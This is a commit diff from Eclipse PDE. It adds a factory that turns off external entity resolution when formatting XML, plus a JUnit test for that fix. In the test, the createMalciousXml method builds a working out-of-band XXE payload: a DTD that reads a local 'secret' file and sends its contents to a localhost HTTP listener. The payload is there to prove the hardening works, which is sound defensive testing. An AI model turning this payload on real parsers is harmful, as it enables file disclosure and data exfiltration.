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Format xml without external entity resolution
External entity resolution is not supported by PDE (see PDECoreMessages.XMLErrorReporter_ExternalEntityResolution). PDE should not contact or even inject external sources into formatted xml.
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30
ui/org.eclipse.pde.core/src/org/eclipse/pde/internal/core/util/XmlTransformerFactory.java
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,30 @@ | ||
| /******************************************************************************* | ||
| * Copyright (c) 2023 Joerg Kubitz and others. | ||
| * | ||
| * This program and the accompanying materials | ||
| * are made available under the terms of the Eclipse Public License 2.0 | ||
| * which accompanies this distribution, and is available at | ||
| * https://www.eclipse.org/legal/epl-2.0/ | ||
| * | ||
| * SPDX-License-Identifier: EPL-2.0 | ||
| *******************************************************************************/ | ||
| package org.eclipse.pde.internal.core.util; | ||
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| import javax.xml.XMLConstants; | ||
| import javax.xml.transform.TransformerFactory; | ||
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| public class XmlTransformerFactory { | ||
| private XmlTransformerFactory() { | ||
| // static Utility only | ||
| } | ||
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| public static TransformerFactory createTransformerFactoryWithErrorOnDOCTYPE() { | ||
| TransformerFactory factory = TransformerFactory.newInstance(); | ||
| // prohibit the use of all protocols by external entities: | ||
| factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); //$NON-NLS-1$ | ||
| factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); //$NON-NLS-1$ | ||
| return factory; | ||
| } | ||
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| } |
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ui/org.eclipse.pde.ui.tests/src/org/eclipse/pde/core/tests/internal/XmlTransformerTest.java
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,159 @@ | ||
| /******************************************************************************* | ||
| * Copyright (c) 2023 Joerg Kubitz and others. | ||
| * | ||
| * This program and the accompanying materials | ||
| * are made available under the terms of the Eclipse Public License 2.0 | ||
| * which accompanies this distribution, and is available at | ||
| * https://www.eclipse.org/legal/epl-2.0/ | ||
| * | ||
| * SPDX-License-Identifier: EPL-2.0 | ||
| *******************************************************************************/ | ||
| package org.eclipse.pde.core.tests.internal; | ||
|
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| import static org.junit.Assert.assertFalse; | ||
| import static org.junit.Assert.assertTrue; | ||
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| import java.io.BufferedReader; | ||
| import java.io.ByteArrayInputStream; | ||
| import java.io.ByteArrayOutputStream; | ||
| import java.io.IOException; | ||
| import java.io.InputStream; | ||
| import java.io.InputStreamReader; | ||
| import java.io.OutputStream; | ||
| import java.lang.reflect.InvocationTargetException; | ||
| import java.net.ServerSocket; | ||
| import java.net.Socket; | ||
| import java.net.SocketException; | ||
| import java.net.URI; | ||
| import java.nio.charset.StandardCharsets; | ||
| import java.nio.file.Files; | ||
| import java.nio.file.Path; | ||
| import java.util.ArrayList; | ||
| import java.util.Collection; | ||
| import java.util.List; | ||
| import java.util.concurrent.ConcurrentLinkedQueue; | ||
| import java.util.function.IntFunction; | ||
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| import javax.xml.transform.Result; | ||
| import javax.xml.transform.Source; | ||
| import javax.xml.transform.Transformer; | ||
| import javax.xml.transform.TransformerException; | ||
| import javax.xml.transform.TransformerFactory; | ||
| import javax.xml.transform.stream.StreamResult; | ||
| import javax.xml.transform.stream.StreamSource; | ||
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| import org.eclipse.pde.internal.core.util.XmlTransformerFactory; | ||
| import org.junit.Test; | ||
| public class XmlTransformerTest { | ||
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| List<Path> tmpFiles = new ArrayList<>(); | ||
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| @Test | ||
| public void testTransformXmlWithExternalEntity() throws Exception { | ||
| TransformerFactory transformerFactory = XmlTransformerFactory.createTransformerFactoryWithErrorOnDOCTYPE(); | ||
| try { | ||
| testParseXmlWithExternalEntity(transformerFactory, this::createMalciousXml); | ||
| assertTrue("TransformerException expected", false); | ||
| } catch (TransformerException e) { | ||
| String message = e.getMessage(); | ||
| assertTrue(message, message.contains("DTD")); | ||
| } | ||
| } | ||
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| @Test | ||
| public void testTransformXmlWithoutExternalEntity() throws Exception { | ||
| TransformerFactory transformerFactory = XmlTransformerFactory.createTransformerFactoryWithErrorOnDOCTYPE(); | ||
| testParseXmlWithExternalEntity(transformerFactory, this::createNormalXml); | ||
| } | ||
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| InputStream createMalciousXml(int localPort) { | ||
| try { | ||
| Path tempSecret = Files.createTempFile("test", ".txt"); | ||
| tmpFiles.add(tempSecret); | ||
| Files.writeString(tempSecret, "secret"); | ||
| Path tempDtd = Files.createTempFile("test", ".dtd"); | ||
| tmpFiles.add(tempDtd); | ||
| String dtdContent = "<!ENTITY % var1 SYSTEM \"" + tempSecret.toUri().toURL() + "\">\n" // | ||
| + "<!ENTITY var4 SYSTEM \"" + tempSecret.toUri().toURL() + "\">\n" // | ||
| + "<!ENTITY % var2 \"<!ENTITY var3 SYSTEM 'http://localhost:" + localPort + "/?%var1;'>\">\n" // | ||
| + "%var2;\n"; | ||
| Files.writeString(tempDtd, dtdContent); | ||
| StringBuilder sb = new StringBuilder(); | ||
| sb.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"); | ||
| URI dtdURi = tempDtd.toUri(); | ||
| String dtdUrl = dtdURi.toURL().toString(); | ||
| sb.append("<!DOCTYPE var1 SYSTEM \"" + dtdUrl + "\">\n"); | ||
| sb.append("<Body>&var3;&var4;</Body>"); | ||
| String xml = sb.toString(); | ||
| return new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8)); | ||
| } catch (IOException e) { | ||
| throw new RuntimeException(e); | ||
| } | ||
| } | ||
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| InputStream createNormalXml(int localPort) { | ||
| StringBuilder sb = new StringBuilder(); | ||
| sb.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"); | ||
| sb.append("<Body>hello</Body>"); | ||
| String xml = sb.toString(); | ||
| return new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8)); | ||
| } | ||
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| private void cleanup() throws IOException { | ||
| for (Path path : tmpFiles) { | ||
| Files.delete(path); | ||
| } | ||
| } | ||
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| public void testParseXmlWithExternalEntity(TransformerFactory transformerFactory, | ||
| IntFunction<InputStream> xmlSupplier) | ||
| throws Exception { | ||
| Collection<Throwable> exceptionsInOtherThreads = new ConcurrentLinkedQueue<>(); | ||
| Thread httpServerThread = null; | ||
| try (ServerSocket serverSocket = new ServerSocket(0)) { | ||
| int localPort = serverSocket.getLocalPort(); | ||
| httpServerThread = new Thread("httpServerThread") { | ||
| @Override | ||
| public void run() { | ||
| try (Socket socket = serverSocket.accept()) { | ||
| try (BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()))) { | ||
| String firstLine = in.readLine(); | ||
| try (OutputStream outputStream = socket.getOutputStream()) { | ||
| outputStream.write("HTTP/1.1 200 OK\r\n".getBytes(StandardCharsets.UTF_8)); | ||
| } | ||
| assertTrue(firstLine, firstLine.startsWith("GET")); | ||
| assertFalse("Server received secret: " + firstLine, firstLine.contains("secret")); // var3 | ||
| assertFalse("Server was contacted", true); | ||
| } | ||
| } catch (SocketException closed) { | ||
| // expected | ||
| } catch (Throwable e) { | ||
| exceptionsInOtherThreads.add(e); | ||
| } | ||
| } | ||
| }; | ||
| httpServerThread.start(); | ||
| String formatted; | ||
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| try (InputStream xmlStream = xmlSupplier.apply(localPort)) { | ||
| Transformer xformer = transformerFactory.newTransformer(); | ||
| Source source = new StreamSource(xmlStream); | ||
| try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) { | ||
| Result result = new StreamResult(outputStream); | ||
| xformer.transform(source, result); | ||
| formatted = outputStream.toString(StandardCharsets.UTF_8); | ||
| } | ||
| } | ||
| assertTrue(formatted, formatted.contains("<Body>")); | ||
| assertFalse("Formatter injected secret: " + formatted, formatted.contains("secret")); | ||
| } finally { | ||
| cleanup(); | ||
| } | ||
| httpServerThread.join(5000); | ||
| assertFalse(httpServerThread.isAlive()); | ||
| for (Throwable e : exceptionsInOtherThreads) { | ||
| throw new InvocationTargetException(e, e.getMessage()); | ||
| } | ||
| } | ||
| } |